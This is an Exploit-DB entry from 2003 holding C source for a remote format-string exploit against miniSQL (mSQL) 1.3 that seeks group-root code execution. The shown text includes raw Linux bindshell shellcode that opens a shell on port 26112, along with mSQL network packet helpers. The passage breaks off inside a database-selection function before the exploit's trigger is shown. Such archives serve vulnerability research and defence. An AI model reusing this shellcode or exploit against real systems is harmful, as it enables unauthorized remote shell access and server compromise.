Exploit-DB #63
Description: miniSQL (mSQL) 1.3 - GID Remote Code Execution
Type: remote
Platform: linux
Date: 2003-07-25
Author: the itch

Exploit:
/*           _ ________            _____                        ______
    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
					       / \   /
                                                   \/
[*] mSQL < remote gid root exploit    by lucipher & The Itch (netric)
   ------------------------------------------------------------------------------

[*]  Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

    Copyright (c) 2003 Netric Security and lucipher
    All rights reserved.

    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>	/* required by fatal() */
#include <stdlib.h>
#include <stdarg.h>	/* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>	/* required by errno */
#include <getopt.h>	/* required by getopt() */
#include <signal.h>

#define PKT_LEN		(128*1024)
#define ERR_BUF_LEN     200
#define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
                                if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l)	read(fd,b,l)
#define NET_WRITE(fd,b,l)	write(fd,b,l)

#define SERVER_GONE_ERROR	"server has gone...\n"
#define UNKNOWN_ERROR		"foo!"  

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
        "\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
        *cp++ = (unsigned int) (val & 0x000000ff);
        *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
        *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
        *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
        int val;

        val = 0;
        val = *cp++;
        val += ((int) *cp++) << 8;
        val += ((int) *cp++) << 16;
        val += ((int) *cp++) << 24;
        return (val);
}

int netWritePacket(fd)
int fd;
{
        int len, offset, remain, numBytes;

        len = strlen((char *) packet);
        intToBuf(packetBuf, len);
        offset = 0;
        remain = len + 4;
        while (remain > 0) {
                numBytes = NET_WRITE(fd, packetBuf + offset, remain);
                if (numBytes == -1) {
                        return (-1);
                }
                offset += numBytes;
                remain -= numBytes;
        }
        return (0);
}

int netReadPacket(fd)
int fd;
{
        u_char buf[4];
        int len, remain, offset, numBytes;

        remain = 4;
        offset = 0;
        numBytes = 0;
        readTimeout = 0;
        while (remain > 0) {
                /*
                 ** We can't just set an alarm here as on lots of boxes
                 ** both read and recv are non-interuptable.  So, we
                 ** wait till there something to read before we start
                 ** reading in the server (not the client)
                 */
                if (!readTimeout) {
                        numBytes = NET_READ(fd, buf + offset, remain);
                        if (numBytes < 0 && errno != EINTR) {
                                fprintf(stderr,
                                        "Socket read on %d for length failed : ",
                                        fd);

                                perror("");
                        }
                        if (numBytes <= 0)
                                return (-1);
                }
                if (readTimeout)
                        break;
                remain -= numBytes;
                offset += numBytes;

        }
        len = bufToInt(buf);
        if (len > PKT_LEN) {
                fprintf(stderr, "Packet too large (%d)\n", len);
                return (-1);
        }
        if (len < 0) {
                fprintf(stderr, "Malformed packet\n");
                return (-1);
        }
        remain = len;
        offset = 0;
        while (remain > 0) {
                numBytes = NET_READ(fd, packet + offset, remain);

                if (numBytes <= 0) {
                        return (-1);
                }
                remain -= numBytes;
                offset += numBytes;
        }
        *(packet + len) = 0;
        return (len);
}

int msqlSelectDB(int sock, char *db)
{
        memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

        packet = packetBuf+4;

        snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
        netWritePacket(sock);
        if (netReadPacket(sock) <= 0) {
                strcpy(msqlErrMsg, SERVER_GONE_ERROR);
                return (-1);
        }
        if (atoi(packet) == -1) {
                char *cp;

                cp = (char *) index